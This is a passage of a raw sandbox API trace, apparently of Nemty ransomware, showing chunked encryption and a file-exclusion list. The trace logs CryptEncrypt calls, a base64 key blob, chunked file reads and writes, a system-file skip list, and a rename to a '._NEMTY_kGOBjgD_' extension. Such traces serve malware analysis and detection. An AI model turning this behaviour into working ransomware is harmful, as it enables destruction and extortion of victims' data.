lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainBackground.wmv", lpUsedDefaultChar=0x0) returned 24 [0089.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0089.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainBackground.wmv", lpUsedDefaultChar=0x0) returned 24 [0089.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0089.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainBackground.wmv", lpUsedDefaultChar=0x0) returned 24 [0089.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainBackground.wmv", lpUsedDefaultChar=0x0) returned 24 [0089.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0089.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0089.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0089.922] Sleep (dwMilliseconds=0x5) [0089.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9401b90, dwHighDateTime=0x1d561e7)) [0089.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9401b90, dwHighDateTime=0x1d561e7)) [0089.932] GetLastError () returned 0x5 [0089.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.932] GetLastError () returned 0x5 [0089.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.932] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0089.932] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0089.933] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0089.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0089.933] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="pzTUqtl6/5R1bM3Gidxlv02Gt1PwB2Oqf1v6rEuhUJ69EPwFz2WLtNK12O7ainkz\r\nxqPQdiVQ96kpTwLg9jMbMvrVnbo9dLlFWtz2BoHGlYGs0JRo4520DPLxzGHWWpI+\r\nWyutYdibbe33xCXTgbdc5SlAIZ/ezFRycNlhiyrihLa5KVZfOi18I3puiQrgGVJ9\r\naWok2wep86XeWuc0eN/Dj/LNq3/YLXs25liUBqpfGKa/QkZV5n99adpvSB+kcBH8\r\n+Uw7hVhmk1+RF6Z9OkbZ6kXkV+/+ww29lgxrv/tGowiUrvyy4eNrhOZwd7mbzg6G\r\n74JCmJ7XLlWRDvJ3BRVqWw==\r\n", pcchString=0x653e91c) returned 1 [0089.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0089.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0089.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0089.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0089.933] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.933] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0089.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0089.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.963] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.972] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.972] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.036] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.036] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.036] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.042] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0090.042] CloseHandle (hObject=0xffffffff) returned 0 [0090.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0090.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0090.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0090.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0090.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0090.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0090.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0090.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0090.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0090.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0090.042] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv._nemty_kgobjgd_")) returned 0 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.043] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2=".") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="..") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="...") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="windows") returned -1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="rsa") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="ntldr") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="IO.SYS") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="ntuser.dat") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="desktop.ini") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="RECYCLER") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="bootmgr") returned 1 [0090.043] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="programdata") returned 1 [0090.044] lstrcmpiW (lpString1="SportsMainBackground_PAL.wmv", lpString2="appdata") returned 1 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 28 [0090.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0090.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 28 [0090.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0090.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.044] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, 